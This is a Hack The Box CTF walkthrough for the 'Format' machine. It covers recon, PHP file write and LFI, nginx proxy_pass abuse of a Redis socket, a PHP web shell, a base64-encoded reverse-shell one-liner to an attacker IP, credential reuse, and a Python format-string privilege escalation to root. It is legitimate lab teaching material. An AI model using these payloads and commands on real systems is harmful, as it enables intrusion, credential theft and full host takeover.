Description

Format is a medium Hack The Box machine that features:

  • Local File Inclusion and File Writing vulnerability in PHP application
  • Nginx proxy_pass directive allows writing to a Redis socket
  • User Pivoting via a password retrieve from the Redis database
  • Privilege Escalation via Python variable printing with a custom license generator

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.213.

$ ping -c 3 10.10.11.213
PING 10.10.11.213 (10.10.11.213) 56(84) bytes of data.
64 bytes from 10.10.11.213: icmp_seq=1 ttl=63 time=48.0 ms
64 bytes from 10.10.11.213: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.10.11.213: icmp_seq=3 ttl=63 time=48.3 ms

--- 10.10.11.213 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.264/47.861/48.290/0.435 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.213 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.213
Host is up (0.050s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

We get three open ports: 22, 80, and 3000.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.213 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.213
Host is up (0.048s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds

We get three services: one Secure Shell (SSH), and two Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the microblog.htb domain to the /etc/hosts file.

$ echo '10.10.11.213 microblog.htb' | sudo tee -a /etc/hosts

Enumerating the 80 port we find a 404 Not Found error with the microblog.htb hostname. With the IP address we get redirected to the app.microblog.htb.

$ echo '10.10.11.213 app.microblog.htb' | sudo tee -a /etc/hosts

We find a blogging website in which we can register and login with an account. At the end of the page we find a link Loving Microblog? Contribute here! to the http://microblog.htb:3000/cooper/microblog link. This is the Git repository of the Microblog we application. After registering an account in the blogging page we can login and we get redirected to a dashboard. We are able of entering the name of the new blog, in this case newblog.microblog.htb. We add the host to /etc/hosts file.

echo '10.10.11.213 newblog.microblog.htb' | sudo tee -a /etc/hosts

We are able to access to the blog in the previous address. We also have the ability of editing the blog header and the contents. We start a code review to check for vulnerabilities in the code. In the microblog-template/edit/index.php file we find the code responsible for the editing page.


//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $txt_nl = nl2br($_POST['txt']);
    $html = "<div class = \"blog-text\">{$txt_nl}</div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

This code is a PHP script that handles adding content to a blog post by accepting POST requests and writing to files. However, it has several security vulnerabilities: - The code allows user input to directly determine the file name ({$_POST['id']}). This can lead to Local File Inclusion (LFI) or Remote File Inclusion (RFI) if an attacker can manipulate the id parameter to access other files or even include remote files. It uses fopen and fwrite without checking if the file exists or if the user has the necessary permissions. This can lead to file overwrite or unauthorized file creation. The order.txt file is being used to append the id values of the blog posts, likely to maintain the order in which sections are added. The code appends $_POST['id'] directly to order.txt without validation.

Exploitation

Let’s check vulnerability by editing the header and changing the id parameter to a file like /etc/passwd as id=/etc/passwd&header=header. After refreshing the page, we find the contents of the file.

$ curl http://newblog.microblog.htb/
<!DOCTYPE html>
<head>
<link rel="icon" type="image/x-icon" href="/images/brain.ico">
<link rel="stylesheet" href="http://microblog.htb/static/css/styles.css">
<script src="http://microblog.htb/static/js/jquery.js"></script>
<title></title>
<script>
    $(window).on('load', function(){
        const html = "<div class = \"\/etc\/passwd\">root:x:0:0:root:\/root:\/bin\/bash...

We confirm the vulnerability. But the way the header is rendered is a problem to be readable, so a Python script is developed to read the html variable with the file content.

import re
import requests
from bs4 import BeautifulSoup
import sys

def extract_and_format_html_from_url(url):
    """
    Makes a GET request to the given URL, finds the JavaScript variable `html`,
    extracts the <div> content, and formats it with proper line breaks.
    """
    # 1. Make the GET request
    response = requests.get(url)
    if response.status_code != 200:
        raise ValueError(f"Failed to fetch URL {url}: Status code {response.status_code}")

    full_html = response.text

    # 2. Find the variable `html` in the page
    match = re.search(r'const\s+html\s*=\s*"(.+?)"\.replace', full_html, re.DOTALL)
    if not match:
        raise ValueError("Variable 'html' not found in the HTML content.")

    html_variable = match.group(1)

    # 3. Unescape sequences (\/ -> /, \" -> ")
    html_variable = html_variable.encode('utf-8').decode('unicode_escape')
    html_variable = html_variable.replace('\\/', '/').replace('\\"', '"')

    # 4. Parse with BeautifulSoup
    soup = BeautifulSoup(html_variable, 'html.parser')

    # 5. Extract content inside the <div>
    div = soup.find('div')
    if not div:
        raise ValueError("No <div> found inside the HTML variable.")

    # 6. Return the formatted text with line breaks
    formatted_text = div.get_text(separator='\n')
    return formatted_text

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <URL>")
        sys.exit(1)

    url = sys.argv[1]
    try:
        result = extract_and_format_html_from_url(url)
        print(result)
    except Exception as e:
        print(f"Error: {e}")

We run it to find the console users: root and cooper.

$ python extract.py http://newblog.microblog.htb 2> /dev/null | grep sh
root:x:0:0:root:/root:/bin/bash
cooper:x:1000:1000::/home/cooper:/bin/bash
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

In the source code we find a functionality that allow image upload for Pro users that are uploaded to the /uploads directory.

if (isset($_FILES['image']) && isset($_POST['id'])) {
    if(isPro() === "false") {
        print_r("Pro subscription required to upload images");
        header("Location: /edit?message=Pro subscription required&status=fail");
        exit();
    }
    $image = new Bulletproof\Image($_FILES);
    $image->setLocation(getcwd() . "/../uploads");
    $image->setSize(100, 3000000);
    $image->setMime(array('png'));

    if($image["image"]) {
        $upload = $image->upload();

        if($upload) {
            $upload_path = "/uploads/" . $upload->getName() . ".png";
            $html = "<div class = \"blog-image\"><img src = \"{$upload_path}\" /></div>";
            chdir(getcwd() . "/../content");

The isPro() function is called for checking if the user is Pro or not.

function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}

To check if the user is Pro or not PHP connects to a Redis database via a .sock file. We enumerate the configuration file for the nginx server /etc/nginx/sites-available/default.

$ python extract.py http://newblog.microblog.htb 2> /dev/null          
...

server {
        listen 80;
        listen [::]:80;

        root /var/www/microblog/app;

        index index.html index.htm index-nginx-debian.html;

        server_name microblog.htb;

        location / {
                return 404;
        }

        location = /static/css/health/ {
                resolver 127.0.0.1;
                proxy_pass http://css.microbucket.htb/health.txt;
        }

        location = /static/js/health/ {
                resolver 127.0.0.1;
                proxy_pass http://js.microbucket.htb/health.txt;
        }

        location ~ /static/(.*)/(.*) {
                resolver 127.0.0.1;
                proxy_pass http://$1.microbucket.htb/$2;
        }
}

The root of the web page is located in the /var/www/microblog/app directory. There is a vulnerability in the proxy_pass functionality as it could be used to manipulate the Redis socket. We can use the vulnerability to upgrade our account to a Pro one by using the HSET method. The raw HTTP request will have the following format with the HSET <username> pro true Redis query.

HSET /static/unix%3A%2Fvar%2Frun%2Fredis%2Fredis%2Esock%3Auser%20pro%20true%20/ HTTP/1.1
Host: microblog.htb
...

After refreshing the editing page, we find that we can now upload file with the img element. We upload a reverse shell PHP file with the previous vulnerability, we trigger the page and we receive the connection from the reverse shell. As the id we send the file we want the PHP content written for, and with header, the content of the file.

$ nc -nvlp 1234

$ curl -b 'username=1i3at4rafa4msj2c0098mke1ko' --data 'id=/var/www/microblog/newblog/uploads/shell.php&header=%3C%3Fphp%20if%28isset%28%24_REQUEST%5B%22cmd%22%5D%29%29%7B%20echo%20%22%3Cpre%3E%22%3B%20%24cmd%20%3D%20%28%24_REQUEST%5B%22cmd%22%5D%29%3B%20system%28%24cmd%29%3B%20echo%20%22%3C%2Fpre%3E%22%3B%20die%3B%20%7D%3F%3E' http://newblog.microblog.htb/edit/index.php
...
$ curl 'http://newblog.microblog.htb/uploads/shell.php?cmd=echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE2LzEyMzQgMD4mMQ==|base64+-d|bash'

We receive the reverse shell as the www-data user, we upgrade it.

$ nc -nvlp 1234              
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.213] 45376
bash: cannot set terminal process group (619): Inappropriate ioctl for device
bash: no job control in this shell
www-data@format:~/microblog/newblog/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@format:~/microblog/newblog/uploads$ ^Z
$ reset xterm
www-data@format:~/microblog/newblog/uploads$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Exploitation

As we have access to a stable shell, let’s enumerate the Redis server via its redis-cli application. We can enumerate all its keys with the keys * command. We find another user called cooper.dooper and its password, zooperdoopercooper.

www-data@format:~/microblog/newblog/uploads$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
 1) "PHPREDIS_SESSION:tckf4hqomvejk6pvj7jquhc2vh"
 2) "PHPREDIS_SESSION:r7nn87mgiti2e8pj9arntf553t"
 3) "dotguy"
 4) "user:sites"
 5) "PHPREDIS_SESSION:1i3at4rafa4msj2c0098mke1ko"
 6) "PHPREDIS_SESSION:tvhi3mndq9ejf2vifrkevk7rfb"
 7) "cooper.dooper"
 8) "PHPREDIS_SESSION:3ejegk853qm0vhoragabgqv9fq"
 9) "user"
10) "cooper.dooper:sites"
redis /var/run/redis/redis.sock> hgetall cooper.dooper
 11) "username"
 12) "cooper.dooper"
 13) "password"
 14) "zooperdoopercooper"
 15) "first-name"
 16) "Cooper"
 17) "last-name"
 18) "Dooper"
 19) "pro"
20) "false"

The password is reused for the Linux user and we can login using SSH to the cooper account.

$ ssh cooper@microblog.htb
...
cooper@format:~$ id
uid=1000(cooper) gid=1000(cooper) groups=1000(cooper)

We find that cooper user can run one command as root user, /usr/bin/license

cooper@format:~$ sudo -l
[sudo] password for cooper: 
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3

...

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()
...
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
...

Is a Python script that manages license keys for Microblog. A License class is defined to generate a random 40-character license key and store the date it was created.  The script checks if it is being run as the root user. If not, it exits with an error message. The script connects to a Redis instance using a Unix socket path. It reads a secret from a file, encodes it, and uses a PBKDF2 HMAC key derivation function to generate an encryption key. This key is then used by the Fernet symmetric encryption tool. The secret encryption key is stored in the /root/license/secret file.

As the secret key is saved into a variable called secret, we can recover it by creating a new user in the Redis database with the {license.__init__.__globals__[secret]} username.

cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> HSET newuser username {license.__init__.__globals__[secret]}
(integer) 1
redis /var/run/redis/redis.sock> HSET newuser first-name newuser
(integer) 1
redis /var/run/redis/redis.sock> HSET newuser last-name newuser
(integer) 1

Now we can run the license generation script to find the secret variable, unCR4ckaBL3Pa$$w0rd. The password is reused for the root account, so we have full permissions.

cooper@format:~$ sudo /usr/bin/license -p newuser

Plaintext license key:
------------------------------------------------------
microblogunCR4ckaBL3Pa$$w0rdUl)jpI*vo*0'HtGsi*zoF"IHO.gn;]_5%x\0(_mNnewusernewuser

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABo7teCtPD6NT26hXSkq1C1WNe1WY5j70T1nbozwW8zoMMAJizBlnjKAZHzKVAseKsQuyG0blkKCmkcSf5-cHMUjlnsYUuqy1dKbumPwkYJcHdRSA1EO1PILd0p_vUuwg9qipfoy06SThTO987bbi5oaQWAT5rsZsyuX6HriaCn50EG7blGmH652myVWBXIGfbp9bsF

cooper@format:~$ su root
Password: 
root@format:/home/cooper# id
uid=0(root) gid=0(root) groups=0(root)

Flags

In the root shell we can retrieve the user.txt and root.txt flags.

root@format:/home/cooper# cat /home/cooper/user.txt 
<REDACTED>
root@format:/home/cooper# cat /root/root.txt 
<REDACTED>